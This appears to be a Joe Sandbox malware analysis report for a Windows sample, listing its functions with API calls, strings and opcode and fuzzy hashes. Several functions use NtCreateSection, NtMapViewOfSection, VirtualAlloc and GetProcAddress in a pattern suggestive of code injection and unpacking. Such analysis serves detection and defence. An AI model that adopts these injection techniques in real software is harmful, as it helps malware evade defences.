Uniqueness Score: -1.00%

Function 004029F9 Relevance: 1.5, APIs: 1, Instructions: 45libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction ID: 2a527b723104a8d4642483acce18f9de5ed6d5a74c4e47f32731208c7d716ef4
Opcode Fuzzy Hash: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction Fuzzy Hash: 1801A231708104E7DB209A849A4DF9F7720AB40B14F208477E5027A1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 00422720 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(0239A800,0239C014,00000040,?,?,004230D4,?,003784FD), ref: 004227DE

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 25400d1197a4b36f6e6203b4c3c08db2e6f011cfbf4dae2ba5e3b9ac9b329379
Instruction ID: e96bbed80843544ee0e697c783afd185b37366d0dfb1377b0fcb4334f777a19d
Opcode Fuzzy Hash: 25400d1197a4b36f6e6203b4c3c08db2e6f011cfbf4dae2ba5e3b9ac9b329379
Instruction Fuzzy Hash: C00109B0D64240CAE3108F64F8447127B6AFB1A745F10792ED1458B3A4DBB38565DB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00401969 Relevance: 1.3, APIs: 1, Instructions: 62sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction ID: 1276e484f00ba66cbffb4616bb4d5d076efec51046982770477825c9afbd6400
Opcode Fuzzy Hash: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction Fuzzy Hash: 0F01D2B6708205FADB005A949C62EBB3618AB41755F300637BA13B80F1C57D8513FA6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401975 Relevance: 1.3, APIs: 1, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction ID: 0230620869f43b82b90ed4dddf49477c9f5c6c73dade890abd4ec4b7d4a8195a
Opcode Fuzzy Hash: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction Fuzzy Hash: 4801BCB6308205FADB005A949C62FBA3219AB84751F30053BB613BC0F1C53D8513FA2F

Uniqueness

Uniqueness Score: -1.00%

Function 0040197F Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction ID: 9a4b4ffd5ca22a672d673467c452b15ea5c40039b4ea8ded510267d200494456
Opcode Fuzzy Hash: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction Fuzzy Hash: 3A01B1B6308205FADB115A949C61A7A3319AB45711F30053BB613B80F2C53D8512FA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00401986 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction ID: 5a2bb716a64f0a1f1a6e426f0b200f3e6862a670896c4db1e76ea4af0659c5ba
Opcode Fuzzy Hash: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction Fuzzy Hash: 3101DFB2308205FADB005AD49C62F7A3219AB85715F30453BB623B80F1C63D8512FB2F

Uniqueness

Uniqueness Score: -1.00%

Function 026DEC7E Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 026DECCF

Memory Dump Source

Source File: 00000000.00000002.1708356846.00000000026D9000.00000040.00000020.00020000.00000000.sdmp, Offset: 026D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26d9000_3yPvcmrbqS.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a86b3ac857b0917c7077bd4bb50f0151d39026b26612a75d045f7887a47a5bba
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 8F112B79A00208EFDB01DF98C989E98BBF5AF08350F0980A4F9489B361D771EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Function 004019A2 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction ID: 689da8ed0bf63c85a60a16fbbe407e4b0918199af58fa2149c0a58fdfe32668e
Opcode Fuzzy Hash: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction Fuzzy Hash: 0E0181B6308105FADB115AD49D52FBA3719AB45751F30453BB613B80F2C53D8512FB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401992 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction ID: 9477092311c163758adf26378a137d016a4cc75b4861da4fd192d9fcf75081b0
Opcode Fuzzy Hash: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction Fuzzy Hash: 25016D72304105FADB119AD09C52EAA3729AB48355F30457BB613BD0F2C63D8552EB2B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0252092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0252095F
GetProcAddress., xrefs: 025209DC, 025209DF, 025209E4
l, xrefs: 02520966

Memory Dump Source

Source File: 00000000.00000002.1708118222.0000000002520000.00000040.00001000.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_3yPvcmrbqS.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: d0b53175b975def84de90b4076979f5321a8cfec5b408985b839aafe0b7df2e8
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: DA3149B6901619DFDB10CF99C880AAEBBF5FF59324F14404AD441B7290D771EA49CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004165CF Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: ab7e1daaef4ad5270cb2ab9655c1a4a3752eb15d3e19d54db8218c581bf6be21
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 25C1A373D4F9B2498B35462D04582BFEE626EC1B8131FC396DCD03F289C22BAD9596D4

Uniqueness

Uniqueness Score: -1.00%

Function 004161E7 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 26ee95fea51633fd98179824bedc36d226216d94624bf19bca94c74a291158e2
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 1EC1A373D8B9B2458B35462D04582BFEE626ED1B8131FC3D6DCD03F289C22BAD8596D4

Uniqueness

Uniqueness Score: -1.00%

Function 00415E15 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: 4c18f957266ab17199f5cd6c94e18a78664a8ad08a99681ad17ebc42526c22db
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: 90C1A473D8A9B2458B36862D04582FFEE616EC1B8031FC396CCD03F389C62BAD9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 00415A77 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: b0b0a421d8cce6fa021b4202bf22876bed844cae8816e2452adbf411805fb59d
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: 61B17473D4ADB3898735462D44582FBEE626EC1B8131FC396DCD03F289C22B6D8596D4

Uniqueness

Uniqueness Score: -1.00%

Function 026DE89C Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708356846.00000000026D9000.00000040.00000020.00020000.00000000.sdmp, Offset: 026D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26d9000_3yPvcmrbqS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 72a362223da8302ba635bee742075b7446dc8cc092ffabf66b874bc0f1018ebd
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 9E118E72B40104AFD754DF55DC91EA673EAEB89324B1980A9ED09CF316D676E802CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02520D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708118222.0000000002520000.00000040.00001000.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_3yPvcmrbqS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 7695ea7b3823f38feb4d39993014824a5b5ec8806bf400676554b2ca35ecf0c2
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 31012676A126108FDF21CF20C804BAB33F6FB97206F0540B4D90AE72C1E370A889CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0041ED93 Relevance: 54.3, APIs: 36, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBCMT ref: 0041EDAE

Part of subcall function 0041BED3: DName::DName.LIBCMT ref: 0041BEE6
Part of subcall function 0041BED3: DName::operator+.LIBCMT ref: 0041BEED

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: d229b3bdfac102d68cce67871f64bcac438936cd2c3b2e27f0790e966cf087b4
Instruction ID: a66003268ed503c7344081d1208cc9e3924ebea3171d3c3d5106927603e66728
Opcode Fuzzy Hash: d229b3bdfac102d68cce67871f64bcac438936cd2c3b2e27f0790e966cf087b4
Instruction Fuzzy Hash: 47D12075D00209AFDB00DFA5D885AEEBBF8EF08314F14406BE905E7291DB789A85CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410A55 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 97COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00410AC3
__getptd.LIBCMT ref: 00410AD5
___TypeMatch.LIBCMT ref: 00410B06
__getptd.LIBCMT ref: 00410B1C
___BuildCatchObject.LIBCMT ref: 00410B38
__getptd.LIBCMT ref: 00410B6D
__getptd.LIBCMT ref: 00410B7F

Strings

MOC, xrefs: 00410A6C
csm, xrefs: 00410A8B
csm, xrefs: 00410B42
RCC, xrefs: 00410A77

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: __getptd$BuildCatchMatchObjectType
String ID: MOC$RCC$csm$csm
API String ID: 1559916381-1441736206
Opcode ID: c426630d051a74e9b86efdcf11649eff3dc39c15b6b7d4f31559fcb62a47173f
Instruction ID: 601119a08737cc48dfc8a538db4a544eea03f0aa24b8cc6fc82fc39a7b368a05
Opcode Fuzzy Hash: c426630d051a74e9b86efdcf11649eff3dc39c15b6b7d4f31559fcb62a47173f
Instruction Fuzzy Hash: 5A319D315043048EDB308FA5C484BEB73B8BF20318F58496BD84986652D7BCF9C58B8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041FE9E Relevance: 16.6, APIs: 11, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getBasicDataType.LIBCMT ref: 0041FED9
DName::operator=.LIBCMT ref: 0041FEED
DName::operator+=.LIBCMT ref: 0041FEFB
UnDecorator::getPtrRefType.LIBCMT ref: 0041FF27
UnDecorator::getDataIndirectType.LIBCMT ref: 0041FFA4
UnDecorator::getBasicDataType.LIBCMT ref: 0041FFAD
operator+.LIBCMT ref: 00420040

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: Decorator::getType$Data$Basic$IndirectName::operator+=Name::operator=operator+
String ID:
API String ID: 2203807771-0
Opcode ID: 7ac783c415bd232d78e4ff444c42b15b18390300055d78a668c9806f47dd3295
Instruction ID: 90e55447d13bd5ee4e2b3fe658bfb98f24de9e54c03c7ba76c2e59348a758843
Opcode Fuzzy Hash: 7ac783c415bd232d78e4ff444c42b15b18390300055d78a668c9806f47dd3295
Instruction Fuzzy Hash: 21412331904205AFDB11DF55EC41AEE7BB5FB01300F54407BF405A6292DBB89A8BDB8C

Uniqueness

Uniqueness Score: -1.00%

Function 0041DB18 Relevance: 10.6, APIs: 7, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 0041DB22
DName::DName.LIBCMT ref: 0041DB2E

Part of subcall function 0041B83C: DName::doPchar.LIBCMT ref: 0041B86D

UnDecorator::getScopedName.LIBCMT ref: 0041DB6D
DName::operator+=.LIBCMT ref: 0041DB77
DName::operator+=.LIBCMT ref: 0041DB86
DName::operator+=.LIBCMT ref: 0041DB92
DName::operator+=.LIBCMT ref: 0041DB9F

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID:
API String ID: 1480779885-0
Opcode ID: 2d1d6e218551a168db9aab101b774dad8fd0585666649ea194310b72ca76be93
Instruction ID: 0a19a46c001bcee75266d6f2de88e1f3fc993d4e7cd583993520fe3fff16cb19
Opcode Fuzzy Hash: 2d1d6e218551a168db9aab101b774dad8fd0585666649ea194310b72ca76be93
Instruction Fuzzy Hash: 1D1173B1D04244AFDB09EF65C855BE97FB4EB10305F05409EE4069B2E2DB78EA85CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040FA4C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0040FA91

Part of subcall function 00412FCA: __mtinitlocknum.LIBCMT ref: 00412FE0
Part of subcall function 00412FCA: __amsg_exit.LIBCMT ref: 00412FEC

__lock.LIBCMT ref: 0040FAB2
___addlocaleref.LIBCMT ref: 0040FAD0

Strings

gB, xrefs: 0040FAC5
`jB, xrefs: 0040FA88

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: __lock$___addlocaleref__amsg_exit__mtinitlocknum
String ID: `jB$gB
API String ID: 2123130959-613790804
Opcode ID: acec4acc91b1ba1fde7683e465b5e4f5384254467f18a479635c679cd577d5f0
Instruction ID: 6dd35c3d88dc9116dcd3df9f2f741f544a7260a641d459d5c736bbf0e248dfd0
Opcode Fuzzy Hash: acec4acc91b1ba1fde7683e465b5e4f5384254467f18a479635c679cd577d5f0
Instruction Fuzzy Hash: C3016171501701DFD720AF66D945749FBF0AF40314F20892FE49AA76E1CBB8A588DF18

Uniqueness

Uniqueness Score: -1.00%

Function 0041C275 Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041C2BE
DName::operator+.LIBCMT ref: 0041C2C5
DName::DName.LIBCMT ref: 0041C2E7
DName::operator+.LIBCMT ref: 0041C2EE
DName::operator+.LIBCMT ref: 0041C2F5

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: ba0d061091b928ab6682b71153b6ede0b60d77b31f380eac653401eae8c47570
Instruction ID: 4803002d57272d44ec51be34f8d02f299f09437345a61c4e13816b78280e6a70
Opcode Fuzzy Hash: ba0d061091b928ab6682b71153b6ede0b60d77b31f380eac653401eae8c47570
Instruction Fuzzy Hash: C5014830A40209ABCF04DBA5DC46DED7BB5EB44708F04405AF501AB391DB78E985CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00412D99 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00412DA5

Part of subcall function 0040FB79: __getptd_noexit.LIBCMT ref: 0040FB7C
Part of subcall function 0040FB79: __amsg_exit.LIBCMT ref: 0040FB89

__getptd.LIBCMT ref: 00412DBC
__amsg_exit.LIBCMT ref: 00412DCA
__lock.LIBCMT ref: 00412DDA
__updatetlocinfoEx_nolock.LIBCMT ref: 00412DEE

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 614a524f8b55ff10aea8c63d933ed89bb2c480f64d1e56f408f2ce486918c13c
Instruction ID: eb892a24aa055f9f3cd84b6e2aeb1f900da4b33c0a1341e23c3fb3374a02d99c
Opcode Fuzzy Hash: 614a524f8b55ff10aea8c63d933ed89bb2c480f64d1e56f408f2ce486918c13c
Instruction Fuzzy Hash: 17F0C232A04B10DAD621BBB6E903B8932A06F00718F11022FE004E62D2CABC18E59A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00413220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041322C

Part of subcall function 0040FB79: __getptd_noexit.LIBCMT ref: 0040FB7C
Part of subcall function 0040FB79: __amsg_exit.LIBCMT ref: 0040FB89

__amsg_exit.LIBCMT ref: 0041324C
__lock.LIBCMT ref: 0041325C

Strings

`jB, xrefs: 00413283

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock
String ID: `jB
API String ID: 3445076945-2958471587
Opcode ID: 293855ae0b14a478132cd6f0a29373b682385a8f6648347a8ce35291d62d7bba
Instruction ID: e30a83c20e996ef0ee1ca28ca9856f4644fdf579ca17e04be13622a9157888ea
Opcode Fuzzy Hash: 293855ae0b14a478132cd6f0a29373b682385a8f6648347a8ce35291d62d7bba
Instruction Fuzzy Hash: 3D01A532A00721D7D721BF66984579A7760BF05715F45806BE81477290C77CAEC2CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD3C Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 0040FD50
__init_pointers.LIBCMT ref: 0040FE02
__calloc_crt.LIBCMT ref: 0040FE70

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: __calloc_crt__init_pointers__mtterm
String ID:
API String ID: 2478854527-0
Opcode ID: 178cfd08d11d0b267cdef6fe8ea9cb91b1e43b4e6153ccdad1a0aab605078ee7
Instruction ID: cf0301984c0b585f8c454c9df20467ff12327c7d66cbc2f8b8a38eb298795822
Opcode Fuzzy Hash: 178cfd08d11d0b267cdef6fe8ea9cb91b1e43b4e6153ccdad1a0aab605078ee7
Instruction Fuzzy Hash: C7313631D003559ADB31AF75BE09A163BA5EB44360B14193BE804A3AF0EB789845CE5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041004D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00410077
__CallSettingFrame@12.LIBCMT ref: 004100C3

Strings

j, xrefs: 0041004D

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 413639d1ff9fda6bf228b5d49c3d52d79956837759db93ef21bcbc677b73b2ed
Instruction ID: 76cccad1c356a16f04bba588cb3c8216c13eaea92d396885a355895ee692e6cb
Opcode Fuzzy Hash: 413639d1ff9fda6bf228b5d49c3d52d79956837759db93ef21bcbc677b73b2ed
Instruction Fuzzy Hash: CC11A131801654DBCB10DF19D4443EDFB70FB08328F15828BD4693B692C3B969D2CB85

Uniqueness

Uniqueness Score: -1.00%
